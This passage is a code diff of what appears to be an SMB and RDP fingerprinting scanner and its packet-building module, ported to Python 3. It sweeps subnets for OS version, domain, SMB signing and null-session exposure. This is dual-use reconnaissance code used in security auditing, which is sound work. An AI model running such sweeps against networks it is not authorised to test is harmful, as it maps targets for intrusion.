print(("Machine Hostname: '%s'\nThis machine is part of the '%s' domain"%(Hostname, DomainJoined)))
|
||||||
print "Server Time:", Time[1]
|
print(("RDP port open: '%s'\n"%(IsRDPOn((Host,3389)))))
|
||||||
print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
|
|
||||||
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
|
|
||||||
else:
|
|
||||||
print "Retrieving information for %s..."%Host[0]
|
|
||||||
print "SMB signing:", Signing
|
|
||||||
print "Null Sessions Allowed:", NullSess
|
|
||||||
print "Server Time:", Time[1]
|
|
||||||
print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
|
|
||||||
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
|
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
@ -230,26 +242,31 @@ def ShowSmallResults(Host):
|
||||||
s = socket(AF_INET, SOCK_STREAM)
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
try:
|
try:
|
||||||
s.settimeout(Timeout)
|
s.settimeout(Timeout)
|
||||||
s.connect(Host)
|
s.connect((Host, 445))
|
||||||
except:
|
except:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
try:
|
try:
|
||||||
if MS17010Check:
|
Hostname, DomainJoined, Time = DomainGrab((Host, 445))
|
||||||
Hostname, DomainJoined, Time = DomainGrab(Host)
|
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
|
||||||
Signing, OsVer, LanManClient = SmbFinger(Host)
|
NullSess = check_smb_null_session((Host, 445))
|
||||||
NullSess = check_smb_null_session(Host)
|
print(("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, Time[1],NullSess,IsRDPOn((Host,3389)))))
|
||||||
Ms17010 = check_ms17_010(Host)
|
|
||||||
message_ms17010 = ", MS17-010: {}".format(Ms17010)
|
|
||||||
print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {} {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess, message_ms17010))
|
|
||||||
else:
|
|
||||||
Hostname, DomainJoined, Time = DomainGrab(Host)
|
|
||||||
Signing, OsVer, LanManClient = SmbFinger(Host)
|
|
||||||
NullSess = check_smb_null_session(Host)
|
|
||||||
print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess))
|
|
||||||
except Exception as err:
|
except Exception as err:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
def IsRDPOn(Host):
|
||||||
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
|
try:
|
||||||
|
s.settimeout(Timeout)
|
||||||
|
s.connect(Host)
|
||||||
|
if s:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
except Exception as err:
|
||||||
|
return False
|
||||||
|
|
||||||
def RunFinger(Host):
|
def RunFinger(Host):
|
||||||
m = re.search("/", str(Host))
|
m = re.search("/", str(Host))
|
||||||
if m:
|
if m:
|
||||||
|
@ -262,13 +279,13 @@ def RunFinger(Host):
|
||||||
else:
|
else:
|
||||||
func = ShowResults
|
func = ShowResults
|
||||||
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
||||||
p = multiprocessing.Process(target=func, args=((host,445),))
|
p = multiprocessing.Process(target=func, args=((host),))
|
||||||
threads.append(p)
|
threads.append(p)
|
||||||
p.start()
|
p.start()
|
||||||
else:
|
else:
|
||||||
if options.grep_output:
|
if options.grep_output:
|
||||||
ShowSmallResults((Host,445))
|
ShowSmallResults(Host)
|
||||||
else:
|
else:
|
||||||
ShowResults((Host,445))
|
ShowResults(Host)
|
||||||
|
|
||||||
RunFinger(Host)
|
RunFinger(Host)
|
||||||
|
|
|
@ -1,24 +1,33 @@
|
||||||
import random, struct
|
import random, struct, sys
|
||||||
from socket import *
|
from socket import *
|
||||||
from time import sleep
|
from time import sleep
|
||||||
from odict import OrderedDict
|
from odict import OrderedDict
|
||||||
|
|
||||||
def longueur(payload):
|
#Python version
|
||||||
length = struct.pack(">i", len(''.join(payload)))
|
if (sys.version_info > (3, 0)):
|
||||||
return length
|
PY2OR3 = "PY3"
|
||||||
|
else:
|
||||||
|
PY2OR3 = "PY2"
|
||||||
|
|
||||||
|
def StructWithLenPython2or3(endian,data):
|
||||||
|
#Python2...
|
||||||
|
if PY2OR3 is "PY2":
|
||||||
|
return struct.pack(endian, data)
|
||||||
|
#Python3...
|
||||||
|
else:
|
||||||
|
return struct.pack(endian, data).decode('latin-1')
|
||||||
class Packet():
|
class Packet():
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
])
|
])
|
||||||
def __init__(self, **kw):
|
def __init__(self, **kw):
|
||||||
self.fields = OrderedDict(self.__class__.fields)
|
self.fields = OrderedDict(self.__class__.fields)
|
||||||
for k,v in kw.items():
|
for k,v in list(kw.items()):
|
||||||
if callable(v):
|
if callable(v):
|
||||||
self.fields[k] = v(self.fields[k])
|
self.fields[k] = v(self.fields[k])
|
||||||
else:
|
else:
|
||||||
self.fields[k] = v
|
self.fields[k] = v
|
||||||
def __str__(self):
|
def __str__(self):
|
||||||
return "".join(map(str, self.fields.values()))
|
return "".join(map(str, list(self.fields.values())))
|
||||||
|
|
||||||
class SMBHeader(Packet):
|
class SMBHeader(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -44,7 +53,7 @@ class SMBNego(Packet):
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
|
||||||
|
|
||||||
class SMBNegoData(Packet):
|
class SMBNegoData(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -145,9 +154,9 @@ class SMBSessionData(Packet):
|
||||||
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
|
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
|
||||||
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
|
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
|
||||||
("NegTokenInitSeqMechMessageVersionTerminator","\x00"),
|
("NegTokenInitSeqMechMessageVersionTerminator","\x00"),
|
||||||
("nativeOs","Windows 2002 Service Pack 3 2600".encode('utf-16le')),
|
("nativeOs","Windows 2002 Service Pack 3 2600".encode('utf-16le').decode('latin-1')),
|
||||||
("nativeOsterminator","\x00\x00"),
|
("nativeOsterminator","\x00\x00"),
|
||||||
("nativelan","Windows 2002 5.1".encode('utf-16le')),
|
("nativelan","Windows 2002 5.1".encode('utf-16le').decode('latin-1')),
|
||||||
("nativelanterminator","\x00\x00\x00\x00"),
|
("nativelanterminator","\x00\x00\x00\x00"),
|
||||||
|
|
||||||
])
|
])
|
||||||
|
@ -174,29 +183,29 @@ class SMBSessionData(Packet):
|
||||||
data11 = str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
|
data11 = str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
|
||||||
|
|
||||||
## Packet len
|
## Packet len
|
||||||
self.fields["andxoffset"] = struct.pack("<H", len(data9)+32)
|
self.fields["andxoffset"] = StructWithLenPython2or3("<H", len(data9)+32)
|
||||||
##Buff Len
|
##Buff Len
|
||||||
self.fields["securitybloblength"] = struct.pack("<H", len(data1))
|
self.fields["securitybloblength"] = StructWithLenPython2or3("<H", len(data1))
|
||||||
##Complete Buff Len
|
##Complete Buff Len
|
||||||
self.fields["bcc1"] = struct.pack("<H", len(data5))
|
self.fields["bcc1"] = StructWithLenPython2or3("<H", len(data5))
|
||||||
##App Header
|
##App Header
|
||||||
self.fields["ApplicationHeaderLen"] = struct.pack("<B", len(data2))
|
self.fields["ApplicationHeaderLen"] = StructWithLenPython2or3("<B", len(data2))
|
||||||
##Asn Field 1
|
##Asn Field 1
|
||||||
self.fields["AsnSecMechLen"] = struct.pack("<B", len(str(self.fields["AsnSecMechStr"])))
|
self.fields["AsnSecMechLen"] = StructWithLenPython2or3("<B", len(str(self.fields["AsnSecMechStr"])))
|
||||||
##Asn Field 1
|
##Asn Field 1
|
||||||
self.fields["ChoosedTagStrLen"] = struct.pack("<B", len(data3))
|
self.fields["ChoosedTagStrLen"] = StructWithLenPython2or3("<B", len(data3))
|
||||||
##SpNegoTokenLen
|
##SpNegoTokenLen
|
||||||
self.fields["NegTokenInitSeqHeadLen"] = struct.pack("<B", len(data4))
|
self.fields["NegTokenInitSeqHeadLen"] = StructWithLenPython2or3("<B", len(data4))
|
||||||
##NegoTokenInit
|
##NegoTokenInit
|
||||||
self.fields["NegTokenInitSeqHeadLen1"] = struct.pack("<B", len(data10))
|
self.fields["NegTokenInitSeqHeadLen1"] = StructWithLenPython2or3("<B", len(data10))
|
||||||
## Tag0 Len
|
## Tag0 Len
|
||||||
self.fields["NegTokenInitSeqNLMPLen"] = struct.pack("<B", len(data11))
|
self.fields["NegTokenInitSeqNLMPLen"] = StructWithLenPython2or3("<B", len(data11))
|
||||||
## Tag0 Str Len
|
## Tag0 Str Len
|
||||||
self.fields["NegTokenInitSeqNLMPTag1Len"] = struct.pack("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"])))
|
self.fields["NegTokenInitSeqNLMPTag1Len"] = StructWithLenPython2or3("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"])))
|
||||||
## Tag2 Len
|
## Tag2 Len
|
||||||
self.fields["NegTokenInitSeqNLMPTag2Len"] = struct.pack("<B", len(data6))
|
self.fields["NegTokenInitSeqNLMPTag2Len"] = StructWithLenPython2or3("<B", len(data6))
|
||||||
## Tag3 Len
|
## Tag3 Len
|
||||||
self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = struct.pack("<B", len(data7))
|
self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = StructWithLenPython2or3("<B", len(data7))
|
||||||
|
|
||||||
|
|
||||||
#########################################################################################################
|
#########################################################################################################
|
||||||
|
@ -263,12 +272,12 @@ class SMBSession2(Packet):
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
|
|
||||||
self.fields["NLMPAuthMsgNtUserName"] = self.fields["NLMPAuthMsgNtUserName"].encode('utf-16le')
|
self.fields["NLMPAuthMsgNtUserName"] = self.fields["NLMPAuthMsgNtUserName"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NLMPAuthMsgNtDomainName"] = self.fields["NLMPAuthMsgNtDomainName"].encode('utf-16le')
|
self.fields["NLMPAuthMsgNtDomainName"] = self.fields["NLMPAuthMsgNtDomainName"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NLMPAuthMsgNtWorkstationName"] = self.fields["NLMPAuthMsgNtWorkstationName"].encode('utf-16le')
|
self.fields["NLMPAuthMsgNtWorkstationName"] = self.fields["NLMPAuthMsgNtWorkstationName"].encode('utf-16le').decode('latin-1')
|
||||||
|
|
||||||
self.fields["nativeOs"] = self.fields["nativeOs"].encode('utf-16le')
|
self.fields["nativeOs"] = self.fields["nativeOs"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["nativelan"] = self.fields["nativelan"].encode('utf-16le')
|
self.fields["nativelan"] = self.fields["nativelan"].encode('utf-16le').decode('latin-1')
|
||||||
|
|
||||||
CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])+str(self.fields["NLMPAuthMsgNTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
|
CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])+str(self.fields["NLMPAuthMsgNTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
|
||||||
|
|
||||||
|
@ -290,39 +299,39 @@ class SMBSession2(Packet):
|
||||||
CalculateNTChallengeOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])
|
CalculateNTChallengeOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])
|
||||||
|
|
||||||
## Packet len
|
## Packet len
|
||||||
self.fields["andxoffset"] = struct.pack("<i", len(CompletePacketLen)+32)[:2]
|
self.fields["andxoffset"] = StructWithLenPython2or3("<i", len(CompletePacketLen)+32)[:2]
|
||||||
##Buff Len
|
##Buff Len
|
||||||
self.fields["securitybloblength"] = struct.pack("<i", len(SecurityBlobLen))[:2]
|
self.fields["securitybloblength"] = StructWithLenPython2or3("<i", len(SecurityBlobLen))[:2]
|
||||||
##Complete Buff Len
|
##Complete Buff Len
|
||||||
self.fields["bcc1"] = struct.pack("<i", len(SecurityBlobBCC))[:2]
|
self.fields["bcc1"] = StructWithLenPython2or3("<i", len(SecurityBlobBCC))[:2]
|
||||||
## Guest len check
|
## Guest len check
|
||||||
self.fields["ApplicationHeaderLen"] = struct.pack("<i", len(SecurityBlobLen)-2)[:1]
|
self.fields["ApplicationHeaderLen"] = StructWithLenPython2or3("<i", len(SecurityBlobLen)-2)[:1]
|
||||||
self.fields["AsnSecMechLen"] = struct.pack("<i", len(SecurityBlobLen)-4)[:1]
|
self.fields["AsnSecMechLen"] = StructWithLenPython2or3("<i", len(SecurityBlobLen)-4)[:1]
|
||||||
self.fields["ChoosedTagLen"] = struct.pack("<i", len(SecurityBlobLen)-6)[:1]
|
self.fields["ChoosedTagLen"] = StructWithLenPython2or3("<i", len(SecurityBlobLen)-6)[:1]
|
||||||
self.fields["ChoosedTag1StrLen"] = struct.pack("<i", len(SecurityBlobLen)-8)[:1]
|
self.fields["ChoosedTag1StrLen"] = StructWithLenPython2or3("<i", len(SecurityBlobLen)-8)[:1]
|
||||||
|
|
||||||
|
|
||||||
##### Username Offset Calculation..######
|
##### Username Offset Calculation..######
|
||||||
self.fields["NLMPAuthMsgNtUserNameBuffOffset"] = struct.pack("<i", len(CalculateUserOffset))
|
self.fields["NLMPAuthMsgNtUserNameBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateUserOffset))
|
||||||
self.fields["NLMPAuthMsgNtUserNameLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
|
self.fields["NLMPAuthMsgNtUserNameLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
|
||||||
self.fields["NLMPAuthMsgNtUserNameMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
|
self.fields["NLMPAuthMsgNtUserNameMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
|
||||||
##### Domain Offset Calculation..######
|
##### Domain Offset Calculation..######
|
||||||
self.fields["NLMPAuthMsgNtDomainNameBuffOffset"] = struct.pack("<i", len(CalculateDomainOffset))
|
self.fields["NLMPAuthMsgNtDomainNameBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateDomainOffset))
|
||||||
self.fields["NLMPAuthMsgNtDomainNameLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
|
self.fields["NLMPAuthMsgNtDomainNameLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
|
||||||
self.fields["NLMPAuthMsgNtDomainNameMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
|
self.fields["NLMPAuthMsgNtDomainNameMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
|
||||||
##### Workstation Offset Calculation..######
|
##### Workstation Offset Calculation..######
|
||||||
self.fields["NLMPAuthMsgNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateWorkstationOffset))
|
self.fields["NLMPAuthMsgNtWorkstationBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateWorkstationOffset))
|
||||||
self.fields["NLMPAuthMsgNtWorkstationLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
|
self.fields["NLMPAuthMsgNtWorkstationLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
|
||||||
self.fields["NLMPAuthMsgNtWorkstationMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
|
self.fields["NLMPAuthMsgNtWorkstationMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
|
||||||
|
|
||||||
##### NT Challenge Offset Calculation..######
|
##### NT Challenge Offset Calculation..######
|
||||||
self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"] = struct.pack("<i", len(CalculateNTChallengeOffset))
|
self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateNTChallengeOffset))
|
||||||
self.fields["NLMPAuthMsgNtChallengeResponseLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
|
self.fields["NLMPAuthMsgNtChallengeResponseLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
|
||||||
self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
|
self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
|
||||||
##### LM Challenge Offset Calculation..######
|
##### LM Challenge Offset Calculation..######
|
||||||
self.fields["NLMPAuthMsgLMChallengeBuffOffset"] = struct.pack("<i", len(CalculateLMChallengeOffset))
|
self.fields["NLMPAuthMsgLMChallengeBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateLMChallengeOffset))
|
||||||
self.fields["NLMPAuthMsgLMChallengeLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
|
self.fields["NLMPAuthMsgLMChallengeLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
|
||||||
self.fields["NLMPAuthMsgLMChallengeMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
|
self.fields["NLMPAuthMsgLMChallengeMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
|
||||||
|
|
||||||
######################################################################################################
|
######################################################################################################
|
||||||
|
|
||||||
|
@ -336,7 +345,7 @@ class SMBTreeConnectData(Packet):
|
||||||
("PasswdLen", "\x01\x00"),
|
("PasswdLen", "\x01\x00"),
|
||||||
("Bcc","\x2f\x00"),
|
("Bcc","\x2f\x00"),
|
||||||
("Passwd", "\x00"),
|
("Passwd", "\x00"),
|
||||||
("Path",""),
|
("Path","IPC$"),
|
||||||
("PathTerminator","\x00\x00"),
|
("PathTerminator","\x00\x00"),
|
||||||
("Service","?????"),
|
("Service","?????"),
|
||||||
("Terminator", "\x00"),
|
("Terminator", "\x00"),
|
||||||
|
@ -345,19 +354,19 @@ class SMBTreeConnectData(Packet):
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
|
|
||||||
##Convert Path to Unicode first before any Len calc.
|
##Convert Path to Unicode first before any Len calc.
|
||||||
self.fields["Path"] = self.fields["Path"].encode('utf-16le')
|
self.fields["Path"] = self.fields["Path"].encode('utf-16le').decode('latin-1')
|
||||||
|
|
||||||
##Passwd Len
|
##Passwd Len
|
||||||
self.fields["PasswdLen"] = struct.pack("<i", len(str(self.fields["Passwd"])))[:2]
|
self.fields["PasswdLen"] = StructWithLenPython2or3("<i", len(str(self.fields["Passwd"])))[:2]
|
||||||
|
|
||||||
##Packet len
|
##Packet len
|
||||||
CompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Flags"])+str(self.fields["PasswdLen"])+str(self.fields["Bcc"])+str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
CompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Flags"])+str(self.fields["PasswdLen"])+str(self.fields["Bcc"])+str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
||||||
|
|
||||||
